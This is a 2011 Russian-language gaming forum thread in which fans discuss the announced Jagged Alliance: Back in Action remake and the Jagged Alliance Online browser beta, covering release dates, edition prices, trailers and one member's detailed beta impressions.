Прислано пользователем Lion на 05.09.2011 в 10:50:33
*Прикидывает на бумажке.*
Полсотни работников на полную ставку в 3000$ в месяц, на 5 лет.
Итого на персонал уйдёт 750000$ зарплаты. (Это оценка снизу  :D )
Премиальные и расхожие материалы ещё 250000$.
Итого миллион в зелёной валюте, это не считая расходов на согласование авторских прав и других юридических проблем.
Так что, если у Вас есть 2-3 лишних миллиона, то можно и подумать.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 05.09.2011 в 10:54:44

on 1315208314, ELF_333 wrote:
Как было написано выше, всё что на данный момент создано до полноценной альтернативы Джаге 3 не дотягивает.  

Дотягивает, нужно только узаконить.
Например, Вильдфайр с Ромуальдасом подошли к этому довольно близко

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 05.09.2011 в 20:09:01
Я думаю что с игрой все будет впорядке.Тут упомянули silent storm от nival.Игрушка не плохая,но:слишком глупый ИИ,и иногда одинаковые миссии.
Вот.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 15.10.2011 в 04:59:10
http://lenta.ru/news/2010/08/20/ja/
Новости.Может кто-то не читал это.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем keper на 16.10.2011 в 15:01:47
Я тут немного не в теме, третья часть называется Jagged Alliance: Back in Action (http://www.jaggedalliance.com/) ???

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 16.10.2011 в 21:12:37
2keper: Нет, это будет ремейк Джа2. 3Д, рилтайм, но вроде со смарт-паузой. Где-то я это уже видел :spy:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.10.2011 в 22:15:40
JA online обещает быть пошаговой.Если ее вообще сделают  :P ::).
Но там 100% будет донат.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем keper на 17.10.2011 в 02:02:04
2Legend:,  не только смарт-паузой, но и визуально похожи :) ну ждать осталось не долго, посмотрим!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 17.10.2011 в 03:31:51
Никаких свежих новостей не слышно про оба проекта?Я ничего не нашел.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 17.10.2011 в 04:08:33
2keper: Так я это тоже имел ввиду, всё же в одном предложении находится ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 18.10.2011 в 18:50:03

on 1318811511, Kestrel wrote:
Никаких свежих новостей не слышно про оба проекта?
- найн. Откуда их взять то.

[offtop]К слову, при поиске через поисковик на запрос JA online выдаётся Я-Онлайн. :P[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 18.10.2011 в 20:45:11
2Green Eyes: [offtop]Надо вводить полностью без сокращений jagged alliance online  :type:,тогда поисковик сам предложит после джагерт альянс, слово онлайн http://yandex.ru/yandsearch?text=jagged+alliance+online&lr=213  [/offtop]
Новая видюха на немецком о5.Показали тактическую карту, найм аим и многое другое. http://www.youtube.com/watch?feature=player_embedded&v=BZkkIW9rKrM#!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 18.10.2011 в 20:52:06
2Kestrel: Ясно, спасибо.

Срины выглядят симпатично. Но пока сам процесс игры не увижу, не поверю в этот проект. Скрины, увы, больше не доказательство.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 18.10.2011 в 21:06:26
2Kestrel: Это мы, кажется, уже видели. И обсуждали ботинки, качество портретов и уклон в кровавые эффекты при убийстве - крупно, замедленно и т.д.
Многим не понравилось.  :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sarge на 18.10.2011 в 21:27:09
Игра не пропадет ;D на крайняк как "ДЖАЗ:работа по найму" растащим на ресурсы ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 18.10.2011 в 21:34:01
2Sarge: JA-3 хорошо, беру на запчасти.
[offtop]Только мне по тому видео далеко не все запчасти понравились.  :([/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 18.10.2011 в 21:46:15
2Lion: Ты сам хочешь джа3 сделать?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 18.10.2011 в 21:58:40
2Kestrel: Что хочу, то я и делаю, не джа3, то тоже ничего.
[offtop]Чтоб не сказать "лучше", на что я надеюсь.  ::)[/offtop]Работаемс.  ;) Вон Irishman'a завербовали.  :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 19.10.2011 в 02:54:03
2Lion:
Болтун - находка для шпиона.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 19.10.2011 в 03:04:18
:)
*делает кое какие записи в свою секретную папку*

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 19.10.2011 в 03:04:28
2Zed: Ну вот опять.  :P Я тут интригу поддерживаю, отечественного производителя рекламирую.  :( А Вы меня прессуете.  8) Нехорошо со стороны Верховного Повелителя мира ДЖа2.  ::)
Я по существу так ничего определённого и не сказал.  ;)
[offtop]А то, что Irishman модостроит - ни для кого не секрет, он уже пол амбара заполнил.  ::)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 19.10.2011 в 03:06:49
*делает поправки в своей секретной папке "Ирландец что-то модостроит для банды"*
:)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 19.10.2011 в 03:11:22
2KombaT: *Удивлённо читает газету*
Почему "для банды" - "для банд" (http://forum.ja2.su/cgi-bin/yabb/YaBB.pl?board=othermods;action=display;num=1127639465;start=629#629) Нас много и мы модоСИЛА.  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 19.10.2011 в 05:33:42
2Zed: Мне кажется, кое-кому надо преподать урок о неразглашении государственнойфорумной тайны. Могу этим заняться, у меня как раз завтра камера в подвале Тиксы освобождается ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 19.10.2011 в 06:19:11
2Legend: Сижу тут работаю, модострою в поте лица, а потом выслушиваю гадости от некоторых личностей, так сказать, последний раз делавших что-то полезное N лет назад. :angry:
Я готов принимать претензии от модостроителей (Терапевта, Bugmonstr'a и многих других - имена не разглашаю), от администраторов и модераторов, но от главного флудера, который ничем кроме сотрясения воздуха по всем признакам не занят - никогда.  8)
Тунеядцев в Орту на опыты!!!  8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 19.10.2011 в 06:26:00

on 1318994351, Lion wrote:
Тунеядцев в Орту на опыты!!!  8)
 ;D

*перелистывает страницу в секретной папке и сверяет список модостроителей (не проскользнули ли еще чьи ники для пополнения top secret списка)*

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 19.10.2011 в 06:27:28
2Lion: - Ты видишь суслика?
- Нет.
- Вот и я не вижу. А он есть!

;) ;D ;D ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 19.10.2011 в 06:45:38
2KombaT: Себя допишите.  ;) Сталкермод тоже считается.  ;D
2Legend: No comment.  8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 23.10.2011 в 03:10:31
2All: Ребят, а когда всё-таки Back in Action выходит? В ролике (http://www.youtube.com/watch?v=cOOt6MN9zng) написано одно (Coming October 2011), на серверах Steam (http://forum.ja2.su/Attach/Images/Jagged_Alliance._Back_in_Action_(Steam).jpg) - другое (Q1 2012). Кому верить - непонятно! :idontknow:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 23.10.2011 в 03:19:51
2Head_Crusher: Не когда не выйдет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 23.10.2011 в 03:22:47

on 1319329191, Green Eyes wrote:
Не когда не выйдет.

Печалька!  :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 23.10.2011 в 04:37:05

on 1319329191, Green Eyes wrote:
2Head_Crusher: Не когда не выйдет
[offtop]даже я, такую АшИппКу сделать не могу ::)[/offtop]
on 1319329367, Head_Crusher wrote:
Печалька!    
[offtop]Печенька :D[/offtop]Если игра - долгострой,то верить никому нельзя.
[offtop]эх,сколько игр погибло из-за долгостроя и большОго периода между выходами следующих серий....[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Strax5 на 24.10.2011 в 21:31:35
2Kestrel:

[offtop]Период жизни товара, жизненный цикл товаров - базовые понятия маркетинга.

Хочешь успеть за рынком - учитывай эти законы. То есть разработку новой игры ты должен начинать уже тогда, когда не выпустил предыдущую и вести процессы паралельно.[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 27.10.2011 в 23:30:32
Выйдет в начале 2012 года. Всё норм будет. Хоть во что то поиграем.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 30.10.2011 в 05:57:51

on 1319747432, ELF_333 wrote:
Выйдет в начале 2012 года
- и эти "Концом Света" ltd хотят прикрыться. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 30.10.2011 в 23:03:18
2Green Eyes: Так то ж в начале года будет, а КС в конце.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 31.10.2011 в 17:44:34
2Legend: Дык, а как же уже ставшее традицией откладывание релиза на несколько месяцев? ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 31.10.2011 в 18:56:30
Я вообще удивляюсь как из Джаги не сделали шутер на волне всеобщей шутеризации старых игровых тайтлов (X-Com, Syndicate, you name it).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 31.10.2011 в 21:12:48
2bugmonster: Потому что она тогда ничем не будет отличаться от всех остальных КалОвДутий). Это у Фолла есть что-то особенное, своё - атмосфера постапокалипсиса, а в Джаге сценарий до скрежета в зубах банален.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sarge на 31.10.2011 в 21:53:04
Получилось бы что-то в духе второго Фар Края и Hidden & Dangerous 2 ;D Можно было бы погамать ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 31.10.2011 в 21:57:18
2Sarge: 2ой Фар Край испортил всю память о первом. Не надо такого!!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sarge на 31.10.2011 в 22:04:59
2KombaT: Да я в смысле графона (анимации там таки годные), и на "фургоне с мороженным" погонять было бы неплохо ;D. В принципе если грамотно прикрутить геймплей от Hidden & Dangerous получилось бы неплохо. По крайней мере в них играю до сих пор ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.11.2011 в 18:28:34
[offtop]Я бы "погамал" в Джа в стиле Devil My Cry. Но до такого извращения даже якудзыны не дойдут. :P[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 09.11.2011 в 09:17:53
Судя по всему, идёт работа над саундтреком http://www.jaggedalliance.com/en/2011/11/jagged-alliance-back-in-action-making-of-soundtrack/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 09.11.2011 в 11:42:00
2Dredd21: Не особе впечатляет.Имхо,налепят пару ремейков.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 09.11.2011 в 20:08:52
А мне понравилось - напоминает фильмы 80-90хх. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 09.11.2011 в 20:18:35
Хотя.......для любой игры 90х музыка идеальная,но подойдет ли она к современной игре?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 09.11.2011 в 20:28:34

on 1320859115, Kestrel wrote:
но подойдет ли она к современной игре?  
- почему бы и нет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 11.11.2011 в 05:39:27
А вот и видео самого процесса работы над музыкой http://www.ag.ru/games/jagged_alliance_back_in_action

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 11.11.2011 в 06:24:38
Пусть разрабы джа3  берут пример с фм3(в плане музыки),раз уж под 90е косить решили :).Вот там саундтреки были супер
:super: http://front-mission.org/load/front_mission_3/front_mission_3_soundtrack/3-1-0-12
(Который посередине,не очень,справа мой любимый)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем CopperminE на 29.11.2011 в 13:14:14
А мне музыка понравилась - под боевики 80ых.
В конце концов действия обоих JAов у меня никогда не ассоциировались с современностью.
От себя хотелось добавить, что мне бы хотелось, что бы джагу делали именно ориентируясь на 80-95, ибо уже тошнить начинает от количества "пикатинь", обвесов и прочей дряни, которую суют в большинство современных игр.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 30.11.2011 в 08:35:11
“Jagged Alliance: Back in Action” set for global release in February 2012
Eschborn/Worms, November 24, 2011: The long-awaited latest part in the Jagged Alliance universe, Jagged Alliance: Back in Action, will finally be released next year. The Windows PC version of this strategy spectacular from bitComposer Games and Kalypso Media will arrive in stores worldwide in February 2012. Jagged Alliance: Back in Action will be distributed by NBG EDV Handels & Verlags GmbH priced €44.99 (RRP) in the German-speaking territories.
http://www.jaggedalliance.com/en/allgemein-en/%e2%80%9cjagged-alliance-back-in-action%e2%80%9d-set-for-global-release-in-february-2012/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 30.11.2011 в 08:47:17
2Dredd21: Ну,наконец  :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 30.11.2011 в 09:10:44

on 1322631311, Dredd21 wrote:
Handels & Verlags GmbH priced €44.99 (RRP)

а это еще что за }{ернR?? денег захотели?  >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 30.11.2011 в 09:37:12
2KombaT: А ты как думал? На таком-то бренде и не навариться? Ню-ню :no:

Но цена в 45 европейских рублей это 3.14здец, извините. Если оно за такую цену не будет мегакрутой игрой минимум наравне с оригиналом, то быть им забросанными гнилыми помидорами.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 30.11.2011 в 11:41:16
Тогда будем молиться на нормальные репаки и нодвд.:pray:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 01.12.2011 в 03:43:53

on 1322635032, Legend wrote:
то быть им забросанными гнилыми помидорами

Чувствую, уже можно начинать... Хотя это и грустно :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 01.12.2011 в 05:52:38

on 1322633444, KombaT wrote:
€44.99 (RRP)
Я думаю,в стиме по-любому дешевле будет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 01.12.2011 в 07:58:41
Несколько новых скриншотов
http://www.ag.ru/screenshots/jagged_alliance_back_in_action/409678#show
http://www.ag.ru/screenshots/jagged_alliance_back_in_action/409675#show
http://www.ag.ru/screenshots/jagged_alliance_back_in_action/409679#show
http://www.ag.ru/screenshots/jagged_alliance_back_in_action/409677#show
http://www.ag.ru/screenshots/jagged_alliance_back_in_action/409676#show

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Bayun на 03.12.2011 в 00:29:11
цена 45 евров - это для еврозоны, не?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 03.12.2011 в 00:35:17
2Bayun: В тексте сказано, что только по Дойчии.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 03.12.2011 в 05:00:35
Интересно, а корпоративная лицензия будет?  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Luficer на 08.12.2011 в 04:04:07
Все облазал по ссылкам - не могу найти системные требования. Пора бы уже обнародовать. >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 09.12.2011 в 07:00:02
Jagged Alliance: Back in Action - Teaser Trailer 2
https://www.youtube.com/watch?v=m1LXuEH53DI

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 09.12.2011 в 07:29:56
2Dredd21:
Ты в Акелле не на зарплате еще?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 09.12.2011 в 09:28:45
Нет, я просто держу руку на пульсе  :) Хотя, спасибо за идею. Подработка внештатная не помешает ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 09.12.2011 в 11:05:55
а в Джа_Онлайн браузерную никто на тест не попал, что ли?

сижу сейчас - сервер почти пустой.  что не мешает ей быть весьма любопытной, конечно. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 09.12.2011 в 11:27:23

on 1323417955, SSSVOLOCH wrote:
в Джа_Онлайн браузерную никто на тест не попал, что ли?

Есть мнение что тупо никто и не стремился :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 09.12.2011 в 11:35:18
2SSSVOLOCH: ,2Zed: .А что можно было?:shuffle: :P Если бы я знал.........

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 09.12.2011 в 11:36:47
Ну и раз уж

on 1323417955, SSSVOLOCH wrote:
сижу сейчас - сервер почти пустой.  что не мешает ей быть весьма любопытной, конечно.

Есть какие то отличительные особенности, кроме бренда, которые выделяют эту игру на фоне сотен конкурентов?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 09.12.2011 в 11:38:48
2Kestrel:
Оно как бы и не закрыто
http://jaggedalliance.gamigo.com/en/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 09.12.2011 в 11:52:41
2Zed: Пасиб,сейчас опробую.Что-то долго грузится.При каждом запуске столько ждать-не комельфо.Имхо,лучше бы клиентскую сделали,как тотал инфлюенс.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 10.12.2011 в 01:39:45
Блин,хрень какая-то.Не могу в игре залогиниться.Пишет, что пароль не правильный.А это не так.Я уже второй акк создал,менял с десяток раз пароль.Все равно пишет,что пароль неправильный.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 10.12.2011 в 01:46:16
2Kestrel: Дежавю :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 10.12.2011 в 02:02:29
2Legend: А ты молчи вообще.Там трабл в ограничении IP был.Кое-кто там даже зарегиться не смог  ::):angry:.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 10.12.2011 в 06:45:19
Там же закрытый бета-тест.Типа один раз зарегался и теперь жди еще одно письмо

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 10.12.2011 в 09:09:07

on 1323419807, Zed wrote:
Есть какие то отличительные особенности, кроме бренда, которые выделяют эту игру на фоне сотен конкурентов?


ну, я бы не сказал, что так уж и "сотен".
более-менее качественно нарисованных вообще единицы.  
тем более с разрушаемостью (хоть и скриптовой).

но она пока кривоватая, чтобы оценивать в сравнении с теми, которые уже деньги берут давно.

- например, интерфейс и экраны помощи отрисованы - а описания даже базовых локаций почти нет.  обычно наоборот.
- положений тела всего два (как и положено, сидя легче целиться и проще быть незаметным), ползать (пока?) нельзя.
- обычные для пошага (не люблю пошаг за это, кстати) перестрелки в упор с вероятностью попадания 20% - обычное дело.  сильно подозреваю, что тактика "подбежал-пырнул-убежал обратно" при прокачанной ловкости может рулить (пока не проверял)

но все это мелочи бета-теста и легко настраиваются, конечно.
те же игры на движке S2 кардинально отличались порой в плане отношения к геймплею, хоть и были все пошаговыми.

ну, что еще.  перехваты есть, наемники (классические, с теми же портретами) почти все есть.  на короткое время - за кредиты, перманентно - за голду (т.е. реал, который пока вроде нельзя вливать самому.  немножко дают сразу для теста)
магазин оружия есть. ремонт, крафтинг, моддинг оружия - есть.  
лечение - в лазарете.
миссии (свободный выбор, но есть ограничение по "репутации", которую зарабатываешь на этих же миссиях) - на глобалке.  судя по географии доступных мест - карты отрисованы не все из запланированных еще.

графика и регдолл, разумеется, никакие для нынешнего времени.
если бы делали спрайтовую - можно было бы проскочить на ностальгии, сделать похоже на Джа_2, при меньших затратах ресурсов компа (браузер тупит при загрузке сильно, рекомендую Хром).  А тут сделали "честное 3Д" - и, в общем, ни тебе особых красот, ни пространства, ни разрушаемости.

из положительного - ну, вот всякий моддинг и крафт не смотрел еще.
и боевку с реальными людьми.  в любом случае, в ближайшие пару месяцев понаблюдаю

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 10.12.2011 в 09:32:25
Глобальная модель игры там какая, аля тотал инфлюенс ?

on 1323497347, SSSVOLOCH wrote:
в любом случае, в ближайшие пару месяцев понаблюдаю  

Ну если вдруг выйдет что то путное - телеграфируй :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 10.12.2011 в 09:55:55
глобалка простейшая пока.
простая 2Д-картинка всего мира, не анимированная ничем.
висят метки "миссий" с ограничениями по уровню.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 10.12.2011 в 18:56:51
Посмотрим, что из этого выйдет. Пока описания не захватили.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 16.12.2011 в 07:17:11
Собственно будут три версии игры. 45 евро, 60 и 90. Интересно, чем Акелла порадует? 1 800 р. за самое дешевое издание  :P
"Jagged Alliance: Back in Action" will be released in three editions

-In addition to the basic version, this strategy game will also appear as a Special and Limited Edition when it is released in February 2012-  

Eschborn/Worms, December 14, 2011: Jagged Alliance: Back in Action, the tactical spectacular from bitComposer Games and Kalypso Media, will be released this February for Windows PC. Jagged Alliance: Back in Action will be released in three editions in the German-speaking territories, and all distributed by NBG EDV Handels & Verlags GmbH.

The basic edition, priced €44.99 (RRP), will be come in a DVD Amaray box and will contain an extensive manual and a map of Arulco along with the game DVD.

The Special Edition will be available in stores in a top quality metal box priced €59.99 RRP. Besides the game and manual, players will receive a large map of Arulco, and an exclusive Jagged Alliance novel that will not be sold in any bookstores, and an exclusive Jagged Alliance card game.

Only 500 units of the Limited Edition will be produced, making this is a real must-buy for true fans: the top quality, branded laptop case contains the game DVD in a metal box, the manual, the large map of Arulco, the exclusive novel, the exclusive card game and soundtrack to the game. This strictly limited edition will be available priced €89.99 (RRP) from selected retail outlets.

http://www.bit-composer.com/www_en/newsarchive.aspx?newsid=d39e0c58-b794-4a32-957b-56eda07c7505

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.12.2011 в 07:25:49
2Dredd21: Обычно наши дешевле продают.А сколько в стиме будет стоить?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 16.12.2011 в 07:31:55
Я с сайта инфу брал, не знаю.. Я стим не юзаю, буду на cd покупать  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.12.2011 в 07:34:43
http://store.steampowered.com/app/57740/
Джага в стиме.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 16.12.2011 в 08:51:55
Я что-то не понял. А при чём здесь карта Арулько?  :o
Кому-то не хватает фантазии?  8)
Интересно, а квесты тоже старые оставили?  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.12.2011 в 09:00:31
2Lion: Дык ремейк же. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 16.12.2011 в 09:04:26
2Green Eyes: Разработчикам надо расширять границы сознания, не знаю как, но надо.  8)
Может и все нпц - старые?  >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.12.2011 в 09:17:45
2Lion:Если это был бы сиквел а не ремейк, тогда  ты бы кричал-"зачем вы нового напридумывали?Только все испортили." ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 16.12.2011 в 09:20:55
2Kestrel: Это зависит от того, чтобы они напридумывали.  ;)
Между прочим, Sir'ы не поленились придумать 4 разных сюжета для четырёх игр серии.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.12.2011 в 10:16:26
Они тут реалтайм с "умняхой" придумали. Пффф... уже попахивает этим самым (ну, чем там обычно попахивает). ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Luficer на 17.12.2011 в 00:43:59
И все же. Не могу найти системных требований. Может кто видел?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 17.12.2011 в 03:24:12
2Green Eyes: Ты скажи спасибо, что вообще в шутер не переделали как front mission evolved.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 17.12.2011 в 06:13:49
2Kestrel: Зачем в шутер? Требует внимания к игре и на работе заметно.
Лучше пасьянс, ну или сапёр.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 17.12.2011 в 06:20:48

on 1324091629, Lion wrote:
Требует внимания у игре и на работе заметно.  
- [offtop]играл в джагу на работе, согласен - заметно. Даже в окне на 640. :P[/offtop]

Выглядит ничего (пусть и устарело графически), но реалтайм - бесит. А если ещё и ресурсы закрытые, то (вы меня извините) хана проекту.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 17.12.2011 в 07:21:33

on 1324091629, Lion wrote:
Зачем в шутер?
А я говорил, что это хорошо? FME была плоха как раз тем, что и пошаговки шутер сделали..........

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 17.12.2011 в 08:01:32
2Kestrel: Я тебя понял.  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 19.12.2011 в 05:40:22
На сайте Акеллы появилась дата выхода 12.02.2012
http://ru.akella.com/Game.aspx?id=2506

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 26.12.2011 в 03:03:22
надо бы, наверное, для JA-Online отдельную тему создать - но пока она закрытая, то все равно скрины и видео свое нельзя выкладывать (я хоть НДА и не подписывал, но в правилах ЗБТ есть пункт о неразглашении).

впечатления после месяца теста:

- графику и регдолл подправили.  Раньше по дефолту стояла на минимуме - а настроек не было. Сейчас по дефолту сделали максимально качественную графику и не страшную физику. Для браузерки - очень хорошо (лучше TIO, по крайней мере - по стилю и красочности напоминает "Санитаров").

- Камера.  Несмотря на 3D-модели и декорации - камера жестко закреплена. Повернуть и приблизить нельзя.  Судя по всему, так и будет в релизе.

- Экономика.  Кредиты (игровое бабло) даются за выполнение миссий. Тратятся на оружие, броню, лечилки/чинилки, найм мерков. Голда в будущем будет пополняться через аккаунт gamigo.com. Сейчас разрабы дали всем небольшую часть и пока не пополняют (а у всех почти кончилась). За голду можно нанять мерков насовсем (за креды - только на 1-3 дня, потом опять платить); купить отличное (по качеству и параметрам) оружие, которое не особо требовательно к скиллу или уровню; купить хорошие расходники (например, ВСЕ патроны, кроме 1 типа дефолтных - за голду. Бронейбойные, HollowPoint и т.п. - только за голду, вне зависимости от калибра).

- Боевка. Типичный пошаг, на данный момент отягощенный багами и недоделками. Что будет исправлено, а что фича - пока неясно. Разрабы общаются на форуме, но о планах и сути происходящего отвечают редко.
Как и в любом пошаге, ключевую роль играет вероятность попадания из оружия А на расстоянии Х. Так вот - сейчас эта вероятность в большей степени зависит от качества производства ствола (quality) и, наверное, от его изношенности (durability). Ни скилл, ни поза, ни состояние мерка (а он может быть ранен/контужен) - практически не влияют.

В связи с этим "подбежал/убил/убежал" не работает. Хотя я создал зондер-команду и 3-4 бойцов во главе со своим персонажем и Игорем Долвичем, прокачал им пистолетный скилл, выдал ДЕ и "Глок-17" хорошего качества - вполне себе получается убивать небронированных врагов с 1-2 ходов.

- Враги. Если не носят тяжелую или среднюю броню, без шлемов - то убить достаточно легко. Кол-во ХП обычно раз в 8 ниже, чем у мерков (35 против 250-280), а урон получают одинаково. Зато у врагов больше АР (т.е. завышенная "ловкость"), потому что стреляют много, издалека и целятся в голову (а шлемы не у всех мерков).

- Прокачка. Полна багов и несуразностей. Пока закономерностей не выявил, кроме обычной "чем выше уровень, тем медленнее прокачка" - но и это зависит от миссии и (почему-то) региона глобальной карты (в Африке экспу дают в 8-10 раз лучше, чем в США).

- "Репутация". Это глобальный параметр каждого игрока. Только он влияет на найм мерков (никаких "меня нет дома, позвоните позже" или "я не пойду в бой с теми, кто у вас нанят"). Также репутацией ограничены доступные к игре миссии на глобалке.
Зарабатывается прохождением новых миссий. Старые можно пройти еще раз-два-десять, но репутацию за это дадут копеечную. А экспу меркам - в том же объеме.

- Миссии. На глобалке понатыканы метки миссий, со своими ограничениями. Каждая состоит из 3-6 под-миссий. В каждой своя цель и свои требования для получения бонусов/"медалей". Обычно это "сделайте не более 30 попаданий"/"используйте не более 100 патронов"/"не менее 5 хедшотов"/ и чаще всего - ограничение по числу ходов (10-20-25-30 ...)/
Бонусы получать полезно - дают больше денег, экспы, репутации.
Исходя из этого - рулят на данный момент прокачанные по АР бойцы с мощными пистолетами/ПП и снайперы. Потому что быстрее бегают, тратят меньше АР на выстрел.

Декорации очень симпатичные и карт очень много (бросил считать после 30, ни разу карты не повторились).  Транспорта нет вообще (на глобалке времени нет, сна нет, "усталости" нет).

- Мультиплеер.  Несмотря на заявленное "online" - его нет пока. Вся игра происходит только с ботами. Как и когда играть с другими людьми - хз. Но сейчас уже заготовлены названия кланов (при регистрации персонажа указываешь).

- Оружие. Метательного (ножи, гранаты) и мин - нет вообще, и скорее всего - не будет.
Есть пистолеты, ПП, карабины-винтовки, автоматы, снайперские винтовки, пулеметы, гладкоствол. Патроны и логика внутриклассового баланса пока что привычные - например, ДЕ использует патроны ,357 калибра и бьет дальше/точнее, чем "Глок-17", а тот тратит меньше АР и меньше изнашивается. Автоматических пистолетов нет (есть куча мелких ПП).
